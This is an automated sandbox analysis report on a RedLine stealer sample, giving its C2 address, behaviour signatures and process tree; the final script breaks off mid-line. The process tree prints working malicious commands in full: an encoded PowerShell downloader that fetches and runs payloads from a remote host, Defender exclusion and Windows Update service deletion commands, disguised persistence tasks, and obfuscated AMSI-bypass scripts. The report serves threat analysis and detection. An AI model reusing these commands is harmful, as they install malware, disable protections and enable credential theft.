Analysis

  • max time kernel
    37s
  • max time network
    85s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/01/2023, 19:34

General

  • Target
    b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
  • Size 360KB
  • Sample230130-x95a2acc94
  • SHA256 c332e200a4050d2b0e7cb33ddbed8e8cd6caff60653cb30a1f76bec08031cbbe
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Stops running service(s) 3 TTPs
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 56 IoCs

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:656
    • C:\Windows\system32\winlogon.exe
      winlogon.exe
      1⤵
        PID:600
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{28d00147-2cac-4ea7-9a07-8e18b378cb72}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4120
      • C:\Windows\Explorer.EXE
        C:\Windows\Explorer.EXE
        1⤵
          PID:2508
          • C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
            "C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"
            2⤵
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:1784
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1964
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="
                4⤵
                • Blocklisted process makes network request
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4828
                • C:\Users\Admin\AppData\Local\Temp\new2.exe
                  "C:\Users\Admin\AppData\Local\Temp\new2.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:2136
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                    6⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1512
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 240
                    6⤵
                    • Program crash
                    PID:4464
                • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                  "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
                  5⤵
                  • Executes dropped EXE
                  PID:3668
                • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                  "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                  5⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • Drops file in Drivers directory
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Drops file in Program Files directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:320
                • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                  "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3288
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1784 -s 240
              3⤵
              • Program crash
              PID:4368
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4656
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2672
            • C:\Windows\System32\sc.exe
              sc stop UsoSvc
              3⤵
              • Launches sc.exe
              PID:3576
            • C:\Windows\System32\sc.exe
              sc stop WaaSMedicSvc
              3⤵
              • Launches sc.exe
              PID:2088
            • C:\Windows\System32\sc.exe
              sc stop wuauserv
              3⤵
              • Launches sc.exe
              PID:2456
            • C:\Windows\System32\sc.exe
              sc stop bits
              3⤵
              • Launches sc.exe
              PID:2536
            • C:\Windows\System32\sc.exe
              sc stop dosvc
              3⤵
              • Launches sc.exe
              PID:1964
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
              3⤵
                PID:1480
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                3⤵
                  PID:2880
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                  3⤵
                  • Modifies security service
                  PID:1452
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                  3⤵
                    PID:2908
                  • C:\Windows\System32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                    3⤵
                      PID:1616
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2252
                  • C:\Windows\System32\dialer.exe
                    C:\Windows\System32\dialer.exe
                    2⤵
                      PID:2264
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1784 -ip 1784
                    1⤵
                      PID:1416
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2136 -ip 2136
                      1⤵
                        PID:4512
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:GzcmPjOAfioz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$TvCMctWMhJfdcE,[Parameter(Position=1)][Type]$ChVHwHcdlY)$uKmCbRpspVt=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'fl'+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+'e'+'mo'+[Char](114)+''+'y'+'Mo'+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+'gat'+[Char](101)+''+[Char](84)+''+'y'+''+'p'+''+[Char](101)+'',''+[Char](67)+'la'+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+'u'+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+'l'+'e'+'d'+''+[Char](44)+''+'A'+''+[Char](110)+'s'+'i'+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+'C'+[Char](108)+''+[Char](97)+''+'s'+'s',[MulticastDelegate]);$uKmCbRpspVt.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+'a'+''+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+'H'+'i'+[Char](100)+'eB'+[Char](121)+''+'S'+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$TvCMctWMhJfdcE).SetImplementationFlags(''+'R'+'u'+'n'+'t'+[Char](105)+''+'m'+'e'+[Char](44)+''+[Char](77)+'a'+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');$uKmCbRpspVt.DefineMethod(''+[Char](73)+''+[Char](110)+'vo'+'k'+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c,Hi'+'d'+''+'e'+''+[Char](66)+''+[Char](121)+'S'+'i'+''+[Char](103)+''+','+''+[Char](78)+'e'+'w'+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+'V'+'i'+'rt'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$ChVHwHcdlY,$TvCMctWMhJfdcE).SetImplementationFlags(''+[Char](82)+'unt'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $uKmCbRpspVt.CreateType();}$bIzQDkitgLisi=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+'t'+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+'r'+'o'+''+[Char](115)+''+[Char](111)+'f'+'t'+''+'.'+'W'+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+'f'+''+'e'+''+[Char](98)+''+[Char](73)+''+[Char](122)+''+'Q'+''+[Char](68)+'k'+[Char](105)+''+[Char](116)+'g'+[Char](76)+'i'+[Char](115)+''+[Char](105)+'');$NoiwZvBAEKaAZR=$bIzQDkitgLisi.GetMethod(''+[Char](78)+''+[Char](111)+'i'+[Char](119)+''+[Char](90)+'vB'+[Char](65)+''+'E'+''+[Char](75)+'a'+[Char](65)+'Z'+'R'+'',[Reflection.BindingFlags]''+'P'+'u'+[Char](98)+''+'l'+''+'i'+'c,'+'S'+''+'t'+'a'+[Char](116)+'i'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RrKnVEVhAJzBiWCYTdF=GzcmPjOAfioz @([String])([IntPtr]);$wGTThdjJUnUtNbpyDEFsPM=GzcmPjOAfioz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hLvvlPqKKBN=$bIzQDkitgLisi.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+'d'+''+'u'+'l'+'e'+''+[Char](72)+''+[Char](97)+'n'+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+'.'+[Char](100)+''+[Char](108)+''+'l'+'')));$DIhuZrYvQafiUp=$NoiwZvBAEKaAZR.Invoke($Null,@([Object]$hLvvlPqKKBN,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+'d'+''+[Char](76)+''+'i'+''+'b'+'r'+'a'+''+'r'+''+'y'+'A')));$YyvMekiLewDeKpnWf=$NoiwZvBAEKaAZR.Invoke($Null,@([Object]$hLvvlPqKKBN,[Object]('Vir'+[Char](116)+''+[Char](117)+''+[Char](97)+'l'+[Char](80)+'r'+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+'t')));$VRZCRqq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DIhuZrYvQafiUp,$RrKnVEVhAJzBiWCYTdF).Invoke(''+[Char](97)+'m'+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+'l'+'l');$ZqIwEEMsOWDYSarIa=$NoiwZvBAEKaAZR.Invoke($Null,@([Object]$VRZCRqq,[Object](''+'A'+''+[Char](109)+'s'+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+''+'f'+'f'+[Char](101)+'r')));$AaFaVMOFGx=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YyvMekiLewDeKpnWf,$wGTThdjJUnUtNbpyDEFsPM).Invoke($ZqIwEEMsOWDYSarIa,[uint32]8,4,[ref]$AaFaVMOFGx);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$ZqIwEEMsOWDYSarIa,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YyvMekiLewDeKpnWf,$wGTThdjJUnUtNbpyDEFsPM).Invoke($ZqIwEEMsOWDYSarIa,[uint32]8,0x20,[ref]$AaFaVMOFGx);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+'W'+'A'+[Char](82)+'E').GetValue('d'+'i'+'a'+[Char](108)+''+[Char](101)+''+[Char](114)+'s'+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)
                        1⤵
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        PID:680
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EeHiKjJmrsrG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$fRSvczGNffJfZn,[Parameter(Position=1)][Type]$nflwPDRmFH)$sPzqXnzlzZW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+''+'r'+''+'y'+''+'M'+''+'o'+''+[Char](100)+'u'+'l'+''+[Char](101)+'',$False).DefineType(''+'M'+''+'y'+''+[Char](68)+''+'e'+''+[Char](108)+'e'+'g'+''+[Char](97)+'t'+[Char](101)+'Ty'+[Char](112)+''+'e'+'',''+'C'+''+[Char](108)+''+'a'+''+'s'+'s'+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+'Se'+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+'s'+'i'+'C'+'l'+''+[Char](97)+'s'+[Char](115)+''+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+'o'+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$sPzqXnzlzZW.DefineConstructor('R'+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+'ci'+'a'+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$fRSvczGNffJfZn).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+''+'a'+''+[Char](110)+'ag'+[Char](101)+''+'d'+'');$sPzqXnzlzZW.DefineMethod('I'+'n'+''+[Char](118)+''+[Char](111)+'ke','P'+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+'S'+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+''+'l'+''+[Char](111)+''+'t'+','+'V'+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$nflwPDRmFH,$fRSvczGNffJfZn).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+'t'+'i'+'m'+[Char](101)+''+','+''+'M'+'a'+'n'+''+[Char](97)+'g'+'e'+''+[Char](100)+'');Write-Output $sPzqXnzlzZW.CreateType();}$oGIuMLSqrtYKh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+'e'+'m.dl'+'l'+'')}).GetType(''+'M'+'i'+[Char](99)+'r'+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+'s'+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](111)+''+[Char](71)+''+[Char](73)+''+[Char](117)+''+[Char](77)+'L'+[Char](83)+''+'q'+''+[Char](114)+''+[Char](116)+''+'Y'+''+[Char](75)+''+[Char](104)+'');$tBgFWsINdgbcpz=$oGIuMLSqrtYKh.GetMethod(''+[Char](116)+'B'+[Char](103)+''+[Char](70)+''+[Char](87)+'s'+'I'+''+[Char](78)+''+[Char](100)+''+'g'+''+'b'+''+[Char](99)+''+'p'+'z',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+'t'+''+'i'+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BVObpkzqwUHLncpVqQO=EeHiKjJmrsrG @([String])([IntPtr]);$SvHzbUnukVcXKBLsYjMQoR=EeHiKjJmrsrG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$iAxgWVxkXrc=$oGIuMLSqrtYKh.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'ne'+[Char](108)+'3'+[Char](50)+''+[Char](46)+'d'+'l'+''+[Char](108)+'')));$fYpdcshXkuAQYX=$tBgFWsINdgbcpz.Invoke($Null,@([Object]$iAxgWVxkXrc,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$cGhzVEvueLIiHogBn=$tBgFWsINdgbcpz.Invoke($Null,@([Object]$iAxgWVxkXrc,[Object]('Vi'+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+'l'+'P'+''+[Char](114)+''+[Char](111)+'t'+'e'+''+[Char](99)+''+[Char](116)+'')));$zwJuvmn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fYpdcshXkuAQYX,$BVObpkzqwUHLncpVqQO).Invoke(''+'a'+''+'m'+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'');$WsZtfoHJdRHdMNOwB=$tBgFWsINdgbcpz.Invoke($Null,@([Object]$zwJuvmn,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+'f'+'e'+''+'r'+'')));$kbSgSmazoN=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cGhzVEvueLIiHogBn,$SvHzbUnukVcXKBLsYjMQoR).Invoke($WsZtfoHJdRHdMNOwB,[uint32]8,4,[ref]$kbSgSmazoN);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$WsZtfoHJdRHdMNOwB,6);[Runti